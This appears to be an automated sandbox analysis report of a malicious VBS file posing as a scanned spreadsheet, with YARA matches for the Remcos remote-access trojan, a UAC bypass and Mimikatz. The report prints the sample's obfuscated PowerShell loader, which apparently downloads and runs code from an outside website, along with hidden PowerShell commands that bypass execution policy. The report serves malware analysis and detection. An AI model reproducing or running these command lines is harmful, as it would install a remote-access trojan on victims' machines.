'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [ch
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9' + [char]65 + 'Ds' + [char]65 + 'KQ' + [char]65 + 'g' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'EQ' + [char]65 + 'R' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'EQ' + [char]65 + 'Jw' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + 'BY' + [char]65 + 'F' + [char]65 + '' + [char]65 + 'VQB1' + [char]65 + 'Gg' + [char]65 + 'J' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'Cw' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Gg' + [char]65 + 'd' + [char]65 + 'B0' + [char]65 + 'H' + [char]65 + '' + [char]65 + 'cw' + [char]65 + '6' + [char]65 + 'C8' + [char]65 + 'LwB3' + [char]65 + 'Hc' + [char]65 + 'dw' + [char]65 + 'u' + [char]65 + 'Gc' + [char]65 + 'cgBh' + [char]65 + 'HQ' + [char]65 + 'aQB0' + [char]65 + 'HU' + [char]65 + 'Z' + [char]65 + 'Bl' + [char]65 + 'HM' + [char]65 + 'ZQBl' + [char]65 + 'Gs' + [char]65 + 'ZQBy' + [char]65 + 'HM' + [char]65 + 'LgBj' + [char]65 + 'G8' + [char]65 + 'bQ' + [char]65 + 'v' + [char]65 + 'Hc' + [char]65 + 'c' + [char]65 + '' + [char]65 + 't' + [char]65 + 'Gk' + [char]65 + 'bgBj' + [char]65 + 'Gw' + [char]65 + 'dQBk' + [char]65 + 'GU' + [char]65 + 'cw' + [char]65 + 'v' + [char]65 + 'GM' + [char]65 + 'dQBz' + [char]65 + 'HQ' + [char]65 + 'bwBt' + [char]65 + 'Gk' + [char]65 + 'egBl' + [char]65 + 'C8' + [char]65 + 'YwBz' + [char]65 + 'HM' + [char]65 + 'LwBi' + [char]65 + 'GQ' + [char]65 + 'LgB0' + [char]65 + 'Hg' + [char]65 + 'd' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + '' + [char]65 + 'g' + [char]65 + 'F0' + [char]65 + 'XQBb' + [char]65 + 'HQ' + [char]65 + 'YwBl' + [char]65 + 'Go' + [char]65 + 'YgBv' + [char]65 + 'Fs' + [char]65 + 'I' + [char]65 + '' + [char]65 + 's' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'b' + [char]65 + 'Bs' + [char]65 + 'HU' + [char]65 + 'bg' + [char]65 + 'k' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bl' + [char]65 + 'Gs' + [char]65 + 'bwB2' + [char]65 + 'G4' + [char]65 + 'SQ' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'I' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'Ek' + [char]65 + 'VgBG' + [char]65 + 'HI' + [char]65 + 'c' + [char]65 + '' + [char]65 + 'n' + [char]65 + 'C' + [char]65 + '' + [char]65 + 'K' + [char]65 + 'Bk' + [char]65 + 'G8' + [char]65 + 'a' + [char]65 + 'B0' + [char]65 + 'GU' + [char]65 + 'TQB0' + [char]65 + 'GU' + [char]65 + 'Rw' + [char]65 + 'u' + [char]65 + 'Ck' + [char]65 + 'Jw' + [char]65 + 'x' + [char]65 + 'HM' + [char]65 + 'cwBh' + [char]65 + 'Gw' + [char]65 + 'Qw' + [char]65 + 'u' + [char]65 + 'DM' + [char]65 + 'eQBy' + [char]65 + 'GE' + [char]65 + 'cgBi' + [char]65 + 'Gk' + [char]65 + 'T' + [char]65 + 'Bz' + [char]65 + 'HM' + [char]65 + 'YQBs' + [char]65 + 'EM' + [char]65 + 'Jw' + [char]65 + 'o' + [char]65 + 'GU' + [char]65 + 'c' + [char]65 + 'B5' + [char]65 + 'FQ' + [ch	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman ". 'C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\hwcrj.ps1' ";exit

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_004167EF ExitWindowsEx,LoadLibraryA,GetProcAddress,

20_2_004167EF

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FFD345A16C9	2_2_00007FFD345A16C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B8EE1	4_2_00007FFD345B8EE1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD345B702D	4_2_00007FFD345B702D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFD34680B09	4_2_00007FFD34680B09
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345BA8EC	5_2_00007FFD345BA8EC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B85AB	5_2_00007FFD345B85AB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B8E05	5_2_00007FFD345B8E05
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B6F5C	5_2_00007FFD345B6F5C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B6F15	5_2_00007FFD345B6F15
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345BABD3	5_2_00007FFD345BABD3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD345B5BFA	5_2_00007FFD345B5BFA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD345AADD0	6_2_00007FFD345AADD0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD345A8E05	6_2_00007FFD345A8E05
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_00007FFD345ABA8C	6_2_00007FFD345ABA8C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 13_2_00007FFD34681493	13_2_00007FFD34681493
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 18_2_00007FFD345B3CD2	18_2_00007FFD345B3CD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0043706A	20_2_0043706A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00414005	20_2_00414005
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0043E11C	20_2_0043E11C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_004541D9	20_2_004541D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_004381E8	20_2_004381E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0041F18B	20_2_0041F18B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00446270	20_2_00446270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0043E34B	20_2_0043E34B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_004533AB	20_2_004533AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0042742E	20_2_0042742E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00437566	20_2_00437566
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0043E5A8	20_2_0043E5A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_004387F0	20_2_004387F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0043797E	20_2_0043797E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_004339D7	20_2_004339D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0044DA49	20_2_0044DA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00427AD7	20_2_00427AD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0041DBF3	20_2_0041DBF3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00427C40	20_2_00427C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00437DB3	20_2_00437DB3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00435EEB	20_2_00435EEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0043DEED	20_2_0043DEED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_00426E9F	20_2_00426E9F

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00402093 appears 50 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00401E65 appears 34 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434E70 appears 54 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00434801 appears 41 times

Source: SKMBT_77122012816310TD0128_17311_XLS.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 29626
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 29626			Jump to behavior

Source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 18.2.powershell.exe.19971c2ad28.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 13.2.powershell.exe.1eb5d86a448.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 23.2.powershell.exe.23e13f69f58.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 20.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 20.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 23.2.powershell.exe.23e13f69f58.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 13.2.powershell.exe.1eb5d86a448.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 18.2.powershell.exe.19971c2ad28.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 00000014.00000002.2378700702.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 0000000D.00000002.2594598048.000001EB5D6E8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000012.00000002.2661640004.0000019971901000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 0000000D.00000002.2594598048.000001EB5D360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 00000017.00000002.2806942257.0000023E13C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 1600, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6764, type: MEMORYSTR	Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 6764, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR	Matched rule: Invoke_Mimikatz date = 2016-08-03, hash1 = f1a499c23305684b9b1310760b19885a472374a286e2f371596ab66b77f6ab67, author = Florian Roth, description = Detects Invoke-Mimikatz String, reference = https://github.com/clymb3r/PowerShell/tree/master/Invoke-Mimikatz, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: powershell.exe PID: 3796, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.expl.evad.winVBS@37/31@4/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041798D GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,

20_2_0041798D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0040F4AF GetModuleFileNameW,CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,CloseHandle,

20_2_0040F4AF

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041B539 FindResourceA,LoadResource,LockResource,SizeofResource,

20_2_0041B539

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_0041AADB OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,

20_2_0041AADB

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Microsoft\LocalLow\System Update\x2.ps1

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6324:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-52K54M
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6444:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2348:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2016:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vjtezlof.q34.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SKMBT_77122012816310TD0128_17311_XLS.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: SKMBT_77122012816310TD0128_17311_XLS.vbs

